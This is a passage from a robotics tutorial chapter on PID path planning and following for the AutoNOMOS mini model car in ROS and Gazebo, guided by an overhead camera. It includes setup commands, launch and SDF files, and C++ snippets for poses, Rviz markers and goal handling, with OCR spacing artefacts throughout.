(e = re f erence − current_state). This kind of controllers is best suited for linear
systems, and is specially useful when the mathematical model of such systems is
unknown.

The whole path is divided into subpaths, which consist of pairs of points. The
goal from subpathn is the beginning of subpathn+1. As any curve can be described
as the joint of many short straight lines, each of this subpaths consists of a straight
line from point P1 to point P2, as seen in Fig. 1. Therefore, the desired output of the

1As we can’t actually use an infinite value, a large number is arbitrarily chosen so that the tangent
looks colinear to the line previously drawn.
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Fig. 1 Graphical representation of the errors calculated for the control law

control loop is the car moving over all these lines until reaching the goal (each line
being a control subtask).

For this specific task, three different errors are defined with respect to a coordinate
system generated by P1 and P2:

– Velocity error: the distance between the current position of the car and P2 in the X’
axis. This can be treated as the horizontal distance between the car and the desired
point to reach, as seen in Fig. 1.

– Line error: the perpendicular distance between the current position of the car and
the X’ axis. This can be understood as the shortest distance between the car and
the line it should be following, as seen in Fig. 1.

– Orientation error: the angle between the car’s X axis and the X’ axis. This can
be interpreted as how well is the car aligned to the line it must follow, as seen in
Fig. 1. It is calculated using a rotation matrix approach presented by Caubet and
Biggs to work with values in the range [−1, 1] [2]

Basically, the three errors are using the X’ axis as the reference. Further refinement
is done to achieve a better performance, but these three PIDs are the cornerstone of
the control law.

3 Related Work

Talking about path planning, for the 2007 DARPA Urban Challenge, Kuwuata
et al. [3] described a real-time motion planning algorithm, based on the RRT
approach, applicable to autonomous vehicles operating in an urban environment.
Their primary novelty was the use of closed-loop prediction in the framework of
RRT.

When it comes to obstacle avoiding, it is not enough to detect the interference but to
change the plan according to the new context. This is called path deformation (a path,
that has been computed beforehand, is continuously deformed on-line in response
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to unforeseen obstacles). Kurniawati and Fraichard [4] addressed this problem with
a scheme called 2-STD, which operates in 2 steps: a collision avoidance step and a
connectivity maintenance step ensuring that the deformed trajectory remains feasible.

About the “eye in the sky” paradigm, the researchers in charge of the Emergency
Integrated Lifesaving Lanyard (EMILY) are working with tethered drones to create
an “eye in the sky” combined with onboard thermal sensing to autonomously navigate
EMILY to a cluster of people [5].

A recent work concerning on path planning plus velocity/acceleration planning
was presented by Hu et al. [6]. According to the authors, the highlights of their
proposal are: a method providing an optimal path with an appropriate corresponding
acceleration and speed, and a proposed method for collision risks on single-lane and
multi-lane roads. A remark should be done because their work addresses avoidance
of both static and moving obstacles with a dynamic path planning.

4 ROS Environment Configuration

This application doesn’t require any particular package besides the ones installed by
default with ROS Kinetic and the ones from the repository mentioned for this chapter.
However, to be able to control the AutoNOMOS from ROS topics, it is necessary to
build a plugin2 contained in the repository.

A step-by-step guide on how to setup the project can be found in the README
file of the repository. Nevertheless, here we describe the necessary steps section
corresponding to the plugin. In a terminal, access the Gazebo_plugin folder and
enter the following commands:

mkdir bui ld
cd bui ld
cmake . . /
make
sudo ged i t ∼/ . bashrc

The first four commands build the plugin. Once the plugin has been compiled, we
need to tell our system where to find our workspace and the plugin. To do this, add
the next lines at the end of the file opened by the fifth command:

source / path / to / repo / AutoNOMOS_Stardust / AutoNOMOS_simulation / devel /
se tup . bash

export LD_LIBRARY_PATH=${LD_LIBRARY_PATH} : / path / to / repo /
AutoNOMOS_Stardust / Gazebo_plugin / bui ld

Be sure to replace ‘/path/to/repo’ for the path where you downloaded the repos-
itory. Those lines are defining the path variables for the project and the plugin.
Once this is done, you are ready to build the whole project. To do this, open the

2For further reference about plugins, it is highly recommended to read this tutorial: http://gazebosim.
org/tutorials?tut=plugins_hello_world.
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Fig. 2 RViz as seen at start up. Note that no relevant information is shown yet

/̃AutoNOMOS_Stardust/AutoNOMOS_simulation folder in terminal. There, exe-
cute the next commands:

catkin_make
source ∼/ . bashrc

5 Starting with a Test

The README file contains also a quick guide for running the project.3 First, open the
/̃AutoNOMOS_Stardust/AutoNOMOS_simulation folder in terminal. This folder is
the workspace used for the project. In different tabs, run the next commands:

roscore
rosrun r v i z r v i z
roslaunch skycam skycam . launch
roslaunch autonomos_gazebo my_world . launch

roscore is used just to start ROS. Then, rosrun rviz rviz opens the 3D visualizer;
once you execute the command, a window like the one in Fig. 2 should be open.

Once you execute roslaunch skycam skycam.launch, the package in charge of
control and visualization starts working. The only visible changes are shown in Fig. 3.
Please be sure to identify the new little white window opened by this command, as
that one is in charge of controlling the moving obstacle in the world Fig. 3.

3A short video guide can be found at https://www.youtube.com/watch?v=UtSveD9QwEc&t=7s.
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Fig. 3 RViz now shows the
world that we will see in
Gazebo

Finally, by running roslaunch autonomos_gazebo my_world.launch Gazebo opens
up and loads both our world and the AutoNOMOS mini model Fig. 4. Once this is
done, you are ready to test the project. As seen in Fig. 5, Rviz now is showing some
relevant information.

The central window shows a representation of the Gazebo world as well as the
position/orientation of the AutoNOMOS mini (this is represented as a coordinate
system, where the red axis points to the direction the car is facing). The “Laser”
window shows a graphical representation of the points gotten by the 360◦ laser scan
on board of the AutoNOMOS. The “RRT” window depicts a graphical representation
of the path planning, as well as a comparison between planned path and actually
followed path when the vehicle is moving. The “FrontCam” window lets us see the
images gotten from the camera on board of the car, while “UpperCam” streams the
images obtained from the “eye in the sky”.

Finally, to test the project, you just need to define the goal point for the
AutoNOMOS mini. To do this, you must click the “2D Nav Goal” tool in the tool-bar
at the upper part of the Rviz window. Once the tool is selected, click on the point of
the map you want the car to reach; this point will be published to a ROS topic and a
path will be planned to get there. Once the path is defined, the vehicle will follow it
autonomously. An example of the project working is depicted in Fig. 6.

Whenever the AutoNOMOS gets to the desired point, the path will disappear from
the map and you can ask for a new point as done the first time.
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Fig. 4 This is the Gazebo simulator. Please note the little black object on the blue line above the
map: it is the sky camera

Fig. 5 This is the final setup of our visualizer. As you can notice, no more “No image” labels are
shown, as Rviz is getting the topics it needs from Gazebo
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Fig. 6 Rviz shows the AutoNOMOS mini following the path it planned to reach the desired goal.
The path is represented by a series of blue points (squares) joined by green lines

6 The AutoNOMOS_Stardust Project

Once you were able to test the project, it is time to analyze its parts. Some slight
remarks should be done before starting:

– the packages are written in C++, so you need to be fairly familiar with the language
– the launch files (used to begin our ROS nodes) and the config files for Gazebo

models are written in xml, but only basic knowledge is enough to work with them
(at least for this project)

– the code in charge of creating our Gazebo models is written in the SDF format
(instead of the previously standard URDF4)

Figure 7 shows the ROS architecture generated for this project, as generated by
ROS itself.

6.1 Creating and Using a New Gazebo World for Our Robot

First we will discuss how to create a new world for our robot and the way we can use
ROS to load the robot in Gazebo within that world (although this second task can be
done with any preexisting world).

4Further information about both formats and their use can be found here http://gazebosim.org/
tutorials?tut=ros_urdf.
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Fig. 7 \skycam is the node in charge of path planning, path following and obstacle avoidance.
\using_markers allows communication with the 3D visualization tool for ROS called Rviz. \cylin-
der_keyboard allows control over a mobile obstacle and \gazebo monitors communication with
Gazebo

To create a new Gazebo world, you can open the simulator without ROS interven-
tion. Once there, you can either add Gazebo models or simple geometric 3D figures
to build your new world. In Fig. 8 we are showing how to put a dumpster in our
world. As you may notice, the “Insert” tab contains many different models; if you
want to add a new model to the list, you should add its folder in the next location:
/home/user/.gazebo/models (considering a typical installation in Ubuntu). Whenever
you are done building the world for your robot,5 you should click File ⇒ Save World
As. For the purpose of this project, you should save the new world at

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / worlds

Please be sure the filename looks something like “desired_name.world” (the
.world part is the most important one). This is the name we will use to tell ROS
how to load our world into Gazebo.

To do this, look for the my_world.launch file in the next location:

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / launch

It should look something like this:

1 <?xml version=" 1.0 "?>
2 <launch>
3 <!−− We resume the log ic in empty_world . launch , changing

only the name of the world to be launched −−>

5You can read further information about creating Gazebo worlds here: http://gazebosim.org/
tutorials?tut=build_world.

akoubaa@coins-lab.org



Path Planning and Following for an Autonomous Model Car Using an “Eye in the Sky” 35

Fig. 8 The options to add elements in the world are surrounded in red. Additionally, the location
of the dumpster model in the map is pointed with a red arrow

4 <include f i l e =" $( f ind gazebo_ros ) / launch / empty_world . launch "
>

5 <arg name=" verbose " value=" t r ue " />
6
7 <arg name="world_name" value=" $( f ind autonomos_gazebo ) /

worlds / r o b o t i c s . world " />
8 <!−− more default parameters can be changed here −−>
9 < / inc lude>

10 <node name = "spawn_model" pkg = " gazebo_ros " type = "
spawn_model" output = " screen " args="−sdf −model
AutoNOMOS_mini −f i l e $( f ind autonomos_gazebo ) / models /
AutoNOMOS_mini / model . sdf " />

11
12 <node name = " tf_autonomos " pkg = " autonomos_simulation "

type = " t f2_broadcas ter_node " args = "AutoNOMOS_mini"
/>

13
14 <node name = " robot_pose " pkg = " autonomos_simulation "

type = " robot_pose_publ isher " />
15
16 <node name = "spawn_cam_model" pkg = " gazebo_ros " type =

"spawn_model" output = " screen " args="−sdf −model
rgb_cam −f i l e $( f ind autonomos_gazebo ) / models / rgb_cam
/ model . sdf " />

17
18 < / launch>

Look at line 7, as this is the one in charge of telling ROS which world we want
Gazebo to load. Within the repository provided for this chapter, the desired world
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its called robotics.world; therefore, if you want to use your own world, you should
change this filename for the one you want to use.

This launch file is also important because is the one used to load our robots inside
Gazebo. Look at lines 10 and 16: the 2 nodes started with those 2 lines are used to
spawn the AutoNOMOS and the “eye in the sky”, respectively. Please notice that
both are located through a model.sdf file. Just as we did to add a model to the Gazebo
default list, we can add models to our ROS project copying their folders to the next
location:

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / models

Thus, whenever you want to spawn a new model into your world, you must be
sure to add it in the correct path and write a new “spawn_model” node in your launch
file. However, how to be sure that your spawned model doesn’t collide with an object
in the world? What if you need the robot to spawn into a specific location? Or at a
given angle? The next section sheds some light on these issues.

6.2 Adding the “Eye in the Sky”

Once our world is ready, we aim to include our own robots/models there. In the
previous section we discussed how to tell our system we want certain models to be
spawned in the world we prepared for Gazebo, but we must define the way we want
to do that, as for practical purposes this spawn has 6-DOF (Degrees Of Freedom):
X,Y and Z location along with Pitch, Roll and Yaw orientation.

You must remember that in robotics (and pretty much in general) there is not
such a thing as absolute positions or orientations. Every part of a robotic system
is referenced to a global system and/or at least one local system. In this particular
project, it is easier to define our models with respect to a global reference.

Furthermore, our model should be able to interact with the rest of the world. Even
though you are able to develop models from scratch,6 it is recommendable to work
with existing models; that is indeed the approach we took for this project. As we
wanted a camera, the already existing model for the Microsoft Kinect7 was used.

Once the model was acquired, our job is to modify it in order to fulfill our needs.
As for this project, two modifications are needed: we want the camera in the sky
looking downwards and we need the RGB signal to be sent over ROS topics.

The first task takes just a line. Look at the next piece of code from the model.sdf
file in the rgb_cam model folder:

1 <?xml version=" 1.0 " ?>
2 <sdf version=" 1.5 ">

6You can even contribute these models to the Gazebo Model Database. For further information
you can read the following tutorial: http://gazebosim.org/tutorials?tut=model_contrib&cat=build_
robot.
7It was obtained from the link provided in this tutorial: http://gazebosim.org/tutorials?tut=ros_
depth_camera&cat=connect_ros.
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3 <model name="rgb_cam">
4 < s t a t i c > t r ue< / s t a t i c >
5 <pose>0 0 9.17 −1.5708 1.5708 0< / pose>

Lines 4 and 5 are in charge of telling Gazebo that our model (which name is
“rgb_cam”) is expected to be static (that is, it shouldn’t move despite forces like
gravity), located at the point (0, 0, 9.17) measured in meters, and orientated by Pitch
= −1.5708, Roll = 1.5708 and Yaw = 0 given in radians. In other words, we want the
camera to remain 9.17 m above the center of the world looking to the ground.

Once the camera is where we need it, we want ROS to acquire data from it. To do
this, we need a plugin; however, unlike the plugin discussed before, you don’t need
to compile this, just add it to your model.sdf file. Look how this works:

26 <sensor type="camera" name=" sky_camera ">
27 <update_ra te>30.0< / update_ra te>
28 <camera name="rgb_cam">
29 <hor izon ta l_ fov>1< / hor izon ta l_ fov>
30 <image>
31 <width>640< / width>
32 <height>640< / height>
33 <format>R8G8B8< / format>
34 < / image>
35 < c l i p>
36 <near>0.02< / near>
37 < f a r>300< / f a r>
38 < / c l i p>
39 <noise>
40 <type>gaussian< / type>
41 <!−− Noise i s sampled independent ly per p i x e l on

each frame .

42 That p i x e l ’ s noise value i s added to each of
i t s co lor

43 channels , which a t t h a t po in t l i e in the
range [ 0 , 1 ] . −−>

44 <mean>0.0 </mean>
45 <stddev >0.007 </ stddev >
46 </ noise >
47 </camera>
48 <plugin name=" camera_cont ro l le r " fi lename ="

libgazebo_ros_camera . so">
49 <alwaysOn>true </alwaysOn>
50 <updateRate >0.0 </ updateRate >
51 <cameraName>sky_camera </cameraName>
52 <imageTopicName>image_raw </ imageTopicName>
53 <cameraInfoTopicName>camera_info </

cameraInfoTopicName>
54 <frameName>camera_link </frameName>
55 <hackBaseline >0.07 </ hackBaseline >
56 <dis tor t ionK1 >0.0 </ dis tor t ionK1 >
57 <dis tor t ionK2 >0.0 </ dis tor t ionK2 >
58 <dis tor t ionK3 >0.0 </ dis tor t ionK3 >
59 <dis to r t ionT1 >0.0 </ d i s to r t ionT1 >
60 <dis to r t ionT2 >0.0 </ d i s to r t ionT2 >
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61 </ plugin >
62 </ sensor >

From line 26 we are stating that the only link (piece) of our model is actually a
sensor, specifically a camera. Lines 28–47 allow us to define the technical properties
of our modeled cam (just as different models in market have different properties, we
can modify our model to fit our needs).

Lines 48–61 are actually the plugin; please notice that this plugin is INSIDE the
definition of the sensor and OUTSIDE the definition of the camera properties. The
plugin, as it is, is already allowing the cam to publish its image as a ROS topic8 of
type sensor_msgs/Image. However, you may want to change the name of this topic
(actually, you need first to actually know the name in order to subscribe). This plugin
is actually publishing many topics, but the one that contains the message of interest
is called “/cameraName/imageTopicName”.

Now look at lines 51 and 52: that is where you define cameraName and image-

TopicName. Therefore, if you wish to get the images of this camera from a ROS
node, you should subscribe to the “/sky_camera/image_raw” topic.

From this point, you should be able to setup as much cameras as you need in
Gazebo for a ROS project. However, even if for this specific task we needed an
additional plugin for communication between Gazebo and ROS, the simulator itself
is able to send some information to ROS. That is what we will discuss in the next
section.

6.3 Getting Poses Data from Gazebo

Whenever it comes to mobile robotics, pose estimation plays a key role. Work in this
area is extensive, but Gazebo provides us a solution for this task in the simulated
environment. As mentioned before, in robotics there is not such a thing as absolute
positions or orientations; and this is particularly important when it comes to simula-
tions, because there is no way in which the components of the simulated world can
interact if there is not a certainty on the pose of each one of them.

The last point is really important, since Gazebo then knows at every moment the
pose of all the models in the world. The intuitive idea then is to use this knowledge
for our ROS project.9 In this particular project, Gazebo poses are particularly useful
for display purposes rather than actually pose estimation10; however, the knowledge
on how to extract poses from Gazebo can be really useful for the reader in many

8To get a deeper understanding of Gazebo plugins with ROS you can check this tutorial: http://
gazebosim.org/tutorials?tut=ros_gzplugins.
9When we are doing research or testing submodules of a system, it is often necessary to assume
that some specific problems (like pose estimation in this case) are solved. However, be careful as
this is just an assumption.
10Instead of using an IMU, Gazebo poses are used to estimate the orientation of the AutoNOMOS.
However this is the only use of Gazebo poses in order to help with navigation.
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Fig. 9 The models included in the world are indicated with a red key (})

tasks, and that is the motivation for this section. Fortunately, all the information me
need is published by Gazebo to a specific topic: “/gazebo/model_states”.

The first thing to point out is that messages published by Gazebo are, indeed, a
special type of message. In particular for the aforementioned topic, we are dealing
with a message of type gazebo_msgs/ModelStates. By reading the ROS documen-
tation on this type,11 the first thing we should notice is that the message is basically
composed of 3 different messages, from which every one is an array: each element
of the array corresponds to one of the models in our world.

Given this, if you want to get the information of a specific model, you just need
to know its index. This is simple, because the order of the array is the same as the
order in which the models are displayed in Gazebo (look at Fig. 9).

However, given the nature of our project, every time the project is run the order of
the spawned models is prone to change, so it is impossible to hard code the index of
the desired model. In the skycam_nodelet.cpp file of the skycam package, we present
a simple workaround about this; we show you here the function called back anytime
a gazebo_msgs/ModelStates message comes from the “/gazebo/model_states” topic:

717 void Skycam::GetStates ( const gazebo_msgs::ModelStates &msg)
718 {
719 for ( i n t model = 0; model < msg . name . s i z e ( ) ; model++)
720 {
721 i f (msg . name[ model ] == " uni t_cy l inder_0 " )
722 {
723 s t a t e _ . model_name = msg . name[ model ] ;
724 s t a t e _ . pose = msg . pose [ model ] ;
725 s t a t e _ . t w i s t = msg . t w i s t [ model ] ;
726 }
727 i f (msg . name[ model ] == "AutoNOMOS_mini" )

11http://docs.ros.org/jade/api/gazebo_msgs/html/msg/ModelStates.html.
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728 {
729 f l o a t imuX = msg . pose [ model ] . o r i e n t a t i o n . x ;
730 f l o a t imuY = msg . pose [ model ] . o r i e n t a t i o n . y ;
731 f l o a t imuZ = msg . pose [ model ] . o r i e n t a t i o n . z ;
732 f l o a t imuW = msg . pose [ model ] . o r i e n t a t i o n .w;
733
734 t f : : Q u a t e r n i o n q1 (imuX, imuY, imuZ ,imuW) ;
735 t f : :Ma t r ix3x3 m( q1 ) ;
736 Rt_ = m;
737
738 double r o l l , p i tch , yaw ;
739 m. getRPY( r o l l , p i tch , yaw) ;
740 current_yaw_ = f l o a t (yaw) ;
741 / /ROS_INFO_STREAM( "Yaw: " << current_yaw_ ) ;
742 sta tus_ok_ = t r ue ;
743 }
744 }
745 }

In lines 721 and 727 we store the information of interest from the models that
are called “unit_cylinder_0” and “AutoNOMOS_mini”, respectively. We know this
names because that is the way we called those models; if you are in doubt of how you
called them, notice that the names correspond to the way they are called in Gazebo
(refer again to Fig. 9).

If you read carefully, from the AutoNOMOS we are only getting its orientation
(please notice that it is expressed in the incoming message as a quaternion). Why are
we storing information about a cylinder? This is because we need to keep track of
the modifications in the Gazebo world to update the map showed in Rviz. We will
talk next about how to work with Rviz.

6.4 Sending Markers to Rviz

By “markers” we are referring shortly to visualization_msgs/Marker messages,
which are used to send basic geometrical shapes (such as cubes, spheres, arrows,
etc.) ro Rviz. Using them, we can populate our Rviz map with many useful objects
for displaying purposes. Actually, in Fig. 6 the red blocks as well as the path gen-
erated by blue dots and green lines are generated by sending markers though ROS
topics. In this section, we will discuss how to send markers to Rviz, how to update
them and how to clean them; this will be done separately for 3D figures and 2D lines
using points.

First at all, we need to identify the topic used for markers in Rviz. The default
topic to which we should publish is called “visualization_marker”:

marker_pub_ = n_ . a d v e r t i s e<visua l iza t ion_msgs : :Marker>( "
v i sua l i za t ion_marker " , 10) ;
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This topic is enough to send as much different objects as we want, but we must
create a new variable for each one of them. Here is an example from the include file
of the using_markers package12:

visua l iza t ion_msgs : :Marker unit_box_0_ ;
v isua l iza t ion_msgs : :Marker uni t_cyl inder_0_ ;
v isua l iza t ion_msgs : :Marker uni t_cyl inder_1_ ;
v isua l iza t ion_msgs : :Marker unit_box_1_ ;
v isua l iza t ion_msgs : :Marker unit_box_2_ ;
v isua l iza t ion_msgs : :Marker unit_box_3_ ;

v isua l iza t ion_msgs : :Marker marker_points_ , l i n e _ s t r i p _ ;

Each one of them should be constructed with their own particular attributes before
publishing. For educational purposes, we will construct here the unit_box_0_ mes-
sage as an example for 3D figures. The next sample code is constructed from the
using_markers_nodelet.cpp file in the package:

1 / / Set the frame ID and timestamp . See the TF t u t o r i a l s for

in format ion on these .

2 unit_box_0_ . header . frame_id = " ground_plane : : l i nk " ;
3 unit_box_0_ . header . stamp = ros : : Time : : now( ) ;
4
5 / / Set the namespace and id for t h i s marker . This serves to

create a unique ID

6 / / Any marker sen t with the same namespace and id w i l l

overwri te the old one

7 / / %Tag(NS_ID)%

8 unit_box_0_ . ns = " basic_shapes0 " ;
9 unit_box_0_ . id = 0;

10 / / %EndTag(NS_ID)%

11
12 / / Set the marker type . This is , the des ired shape

13 / / %Tag(TYPE)%

14 unit_box_0_ . type = visua l iza t ion_msgs : : Marker : :CUBE;
15 / / %EndTag(TYPE)%

16
17 / / Set the marker ac t ion . Options are ADD, DELETE, and new in

ROS Indigo : 3 (DELETEALL)

18 / / %Tag(ACTION)%

19 unit_box_0_ . ac t ion = visua l iza t ion_msgs : : Marker : :ADD;
20 / / %EndTag(ACTION)%

21
22 / / Set the pose of the marker . This i s a f u l l 6DOF pose

r e l a t i v e to the frame / time s p e c i f i e d in the header

23 / / %Tag(POSE)%

24 unit_box_0_ . pose . p o s i t i o n . x = −0.856451;
25 unit_box_0_ . pose . p o s i t i o n . y = −2.31594;
26 unit_box_0_ . pose . p o s i t i o n . z = 0.499799;
27 unit_box_0_ . pose . o r i e n t a t i o n . x = 0 . 0 ;
28 unit_box_0_ . pose . o r i e n t a t i o n . y = 0 . 0 ;
29 unit_box_0_ . pose . o r i e n t a t i o n . z = 0 . 0 ;

12̃/AutoNOMOS_Stardust/AutoNOMOS_simulation/src/using_markers.
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30 unit_box_0_ . pose . o r i e n t a t i o n .w = 1 . 0 ;
31 / / %EndTag(POSE)%

32
33 / / Set the scale of the marker −− 1x1x1 here means 1m on a

s ide

34 / / %Tag(SCALE)%

35 unit_box_0_ . sca l e . x = 3.07935;
36 unit_box_0_ . sca l e . y = 1 . 0 ;
37 unit_box_0_ . sca l e . z = 1 . 0 ;
38 / / %EndTag(SCALE)%

39
40 / / Set the color −− be sure to s e t alpha to something non−zero

!

41 / / %Tag(COLOR)%

42 unit_box_0 . color_ . r = 1.0 f ;
43 unit_box_0 . color_ . g = 0.0 f ;
44 unit_box_0 . color_ . b = 0.0 f ;
45 unit_box_0 . color_ . a = 1 . 0 ;
46 / / %EndTag(COLOR)%

47
48 / / %Tag(LIFETIME)%

49 unit_box_0 . l i f e t i m e _ = ros : : Duration ( ) ;
50 / / %EndTag(LIFETIME)%

51 / / %EndTag( INIT )%

52
53 marker_pub_ . publ i sh ( unit_box_0_ ) ;

Most of the code may be self-explanatory, but for further reference you can read
the whole tutorial on the topic in the ROS wiki.13 Nonetheless, there are some par-
ticularities we wish to discuss here.

First, look at line 2. As aforementioned, in robotics there is not a thing such as
absolute positions or orientations; as so, we need to tell our shape what is its point of
reference: that is exactly what we are doing at line 2. Furthermore, when you actually
open Rviz, you may notice an option called “Fixed Frame” in the Displays panel;
this is where we tell Rviz the Gazebo element to be used as reference for our Rviz 3D
map. To avoid further problems, opt to always set the frame_id and the fixed frame
to the same value; in this case, the ground model in our Gazebo simulation.

From lines 8 and 9 we are just giving identifiers to the objects we want to publish
in Rviz; be sure to don’t repeat id values, because otherwise the most recent published
shape with a certain id will replace previous shapes published with the same id.

Line 19 is used to tell Rviz what we want to do with the given shape. As with this
example we want to add shapes to the map, we select the option ADD.

Lines 24–30 and 35–37 are used to define geometry. The values shown in this
code were copied from the sdf file of our Gazebo world, to match the Gazebo world.
However, do you remember the little white window from Fig. 3? It is used to move
one of the red blocks in the Gazebo world and reflect the new position in Rviz. Take
a look at the next piece of code from the using_markers_nodelet.cpp file:

13http://wiki.ros.org/rviz/Tutorials/Markers%3A%20Basic%20Shapes.
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236 void UsingMarkers::MoveCylinder ( const s td_msgs : : In t8 &key )
237 {
238 i f ( key . data == 1)
239 {
240 uni t_cyl inder_0_ . pose . p o s i t i o n . y = model_state_ . pose .

p o s i t i o n . y + 0 . 1 ;
241 }
242 e l s e i f ( key . data == 2)
243 {
244 uni t_cyl inder_0_ . pose . p o s i t i o n . x = model_state_ . pose .

p o s i t i o n . x + 0 . 1 ;
245 }
246 e l s e i f ( key . data == 3)
247 {
248 uni t_cyl inder_0_ . pose . p o s i t i o n . y = model_state_ . pose .

p o s i t i o n . y − 0 . 1 ;
249 }
250 e l s e i f ( key . data == 4)
251 {
252 uni t_cyl inder_0_ . pose . p o s i t i o n . x = model_state_ . pose .

p o s i t i o n . x − 0 . 1 ;
253 }
254
255 marker_pub_ . publ i sh ( uni t_cyl inder_0_ ) ;
256 }

With the help of the cylinder_keyboard package we are managing keyboard press
events14 to sent integer values through a ROS topic, and that message is caught
with the function in the code above. As you may notice, we have different options
according to the key pressed, but all of them are based on the same principle: taking
the current position of the cylinder, updating it according to the key pressed, storing
the updated value in the object to move, and publishing the updated object to Rviz.

With this, you already know how to add and update 3D shapes in you Rviz map.
However, objects themselves are not the only shapes of interest in a map: whenever
you have a physical map, it is often useful to draw on it things such as routes, relevant
points, etc. We can do that in Rviz as well and that is the next topic to discuss.

In Fig. 6 you can see the route planned by the AutoNOMOS to reach the desired
point. Although that is not really useful for the vehicle itself, it is useful for us as
spectators to understand the decision making of the system and to value how well it
is following the plan. To add this kind of markers, the process is pretty similar to the
one presented for 3D shapes.

In this particular application, we will draw a set of points and lines connecting
such points. To do this, we create a new visualization_msgs::Marker message for the
points and another one for the lines, and initialize them:

1 marker_points_ . header . frame_id = l i n e _ s t r i p _ . header . frame_id =
" ground_plane : : l ink " ;

2 marker_points_ . header . stamp = l i n e _ s t r i p _ . header . stamp =
ros: :Time::now ( ) ;

14The available keys are WASD and up, down, left, right.
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3 marker_points_ . ns = l i n e _ s t r i p _ . ns = " poin t s_and_l ines " ;
4 marker_points_ . ac t ion = l i n e _ s t r i p _ . ac t ion =

visualization_msgs::Marker: :ADD ;
5 marker_points_ . pose . o r i e n t a t i o n .w = l i n e _ s t r i p _ . pose .

o r i e n t a t i o n .w = 1 . 0 ;
6
7 marker_points_ . id = 0;
8 l i n e _ s t r i p _ . id = 1;
9

10 marker_points_ . type = visualizat ion_msgs::Marker: :POINTS ;
11 l i n e _ s t r i p _ . type = visualization_msgs::Marker::LINE_STRIP ;
12
13 / / POINTS markers use x and y sca l e fo r width / he ight

r e s p e c t i v e l y
14 marker_points_ . sca l e . x = 0 . 2 ;
15 marker_points_ . sca l e . y = 0 . 2 ;
16
17 / / LINE_STRIP / LINE_LIST markers use only the x component of

scale , fo r the l i n e width
18 l i n e _ s t r i p _ . sca l e . x = 0 . 1 ;
19
20 marker_points_ . co lor . b = 1.0 f ;
21 marker_points_ . co lor . a = 1 . 0 ;
22
23 / / Line s t r i p i s blue
24 l i n e _ s t r i p _ . co lor . g = 1 . 0 ;
25 l i n e _ s t r i p _ . co lor . a = 1 . 0 ;

Note that only relevant differences from before are that the shape types are now
POINTS and LINE_STRIP, and that no position is given. This two messages are
composed by sets of points and lines, that is why we don’t have an specific position.

As so, we need to define those two sets. However, this is done simply by defin-
ing the desired points (notice that this points are variables of the type geome-
try_msgs::Point). The next function is in charge of catching the points published
by the path planner:

1 void UsingMarkers::NewPoint ( const geometry_msgs::Point &
new_point )

2 {
3 i f ( new_point . z == 0 .2 )
4 {
5 p_ . x = new_point . x ;
6 p_ . y = new_point . y ;
7 p_ . z = new_point . z ;
8 marker_points_ . po in t s . push_back ( p_ ) ;
9 l i n e _ s t r i p _ . po in t s . push_back ( p_ ) ;

10 }
11 e l s e i f ( new_point . z == 0 .4 )
12 {
13 marker_pub_ . publ i sh ( marker_points_ ) ;
14 marker_pub_ . publ i sh ( l i n e _ s t r i p _ ) ;
15 }
16 e l s e
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17 {
18 marker_points_ . po in t s . c l e a r ( ) ;
19 l i n e _ s t r i p _ . po in t s . c l e a r ( ) ;
20 marker_pub_ . publ i sh ( marker_points_ ) ;
21 marker_pub_ . publ i sh ( l i n e _ s t r i p _ ) ;
22 }
23 }

According to the z value of the point received, we have three possible actions:
add a new point p to the list of points of both marker messages, publish the markers,
or clean the points of both markers to publish them. And that is it, when you publish
this markers, Rviz will draw all of the points in the points list of the maker_points_

variable, and all the lines connecting two consecutive points in the points list of the
line_strip_ variable. With this knowledge, you can draw as many points or lines you
need according to your project requirements. However, before closing this section,
we want to briefly discuss how to add a tracker for a certain model in the Gazebo
simulation and how to communicate compatible ROS messages from your project to
Rviz visualizations.

In the Displays panel of Rviz, you have an Add button. Once you click it, a menu
will pop up; there, select the Axes option and click Ok. A new Axes object will appear
in the Displays panel. Expand it and look for the Reference Frame option: there you
should select a link of the model to track. With this, the model of interest will be
represented in the Rviz map as coordinate system.

Notice that the Axes option was in the By display type tab. If you want to explore
which topics published in your project are visualizable in Rviz, move to the By topic

tab. There, Rviz will list by type all of your current topics that are compatible with
Rviz. The “Laser”, “RRT”, “FrontCam” and “UpperCam” windows in Fig. 2 were
added this way.

At this point you know how to create Gazebo worlds and models, how to com-
municate with Gazebo from ROS to spawn models and retrieve information, how
to add markers to Rviz for visualization, how to update this markers automatically
when required, how to keep position tracking of models in the Gazebo simulation,
and how to visualize topics of interest in Rviz.

From this point, all what is left is to explain the package in charge of solving the
problem that motivated this project: skycam.

6.5 Path Planning and Following

Before discussing the package itself, we will discuss the substeps used to solve the
problem. Basically, the whole code goes around 3 cyclic, sequential states: stand-by,
planning the path, and following the planned path. Those states are repeated over
and over until the project is shut down, but some additional considerations were
added to the work flow to deal with some particular cases. You can see a graphical
representation of the complete workflow in Fig. 10.
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Fig. 10 Workflow of the skycam package

Each one of the states in the graph involves subtasks to be properly performed.
The rest of this section will be destined to briefly explain how this states are executed
in the skycam package.

6.6 Stand-by: Waiting for a Point

Remember that this whole project is inspired by the idea of an “eye in the sky”,
being that aerial camera the main source of information for the vehicle. As such, we
want the vehicle to act according to the information sent by the camera. That is why
the state machine depicted in Fig. 10 is contained in the function used as callback
whenever a frame is received from the camera. This function is

void Skycam::SkyImage ( const sensor_msgs::ImageConstPtr &msg)

Whenever this function is called, the message from the camera is processed to get
the information of interest from the world observed. However, as long as no point has
been published from Rviz, the system won’t do anything besides processing images;
that is why we say the system is in stand-by.

At this point, the goal is defined as the point (−1,−1). When a goal point is
published by Rviz, the next function is called:

1 void Skycam::GoalFromRviz ( const geometry_msgs::PoseStamped &
goal_rv iz )

2 {
3 FinishTrack ( ) ;
4 f l o a t cent imeters_per_meter = 100;
5 goal_ . x = i n t ( goa l_rv iz . pose . p o s i t i o n . x ∗

cent imeters_per_meter ∗ pixe l s_per_cen t imete r_ +
6 sky_image_ . co l s / 2) ;
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7 goal_ . y = i n t ( sky_image_ . co l s / 2 −

8 goa l_rv iz . pose . p o s i t i o n . y ∗

cent imeters_per_meter ∗

pixe l s_per_cen t imete r_ ) ;
9 ROS_INFO_STREAM( goal_ ) ;

10 state_machine_ = 1;
11 }

Notice that a 3D point is being mapped to a 2D coordinate in an image. The
pixels_per_centimeter_ variable was measured specifically for this project, using
the current position of the camera; this parameter as well as some other ones can
be easily changed in the config file of the package.15 As a coordinate in an image
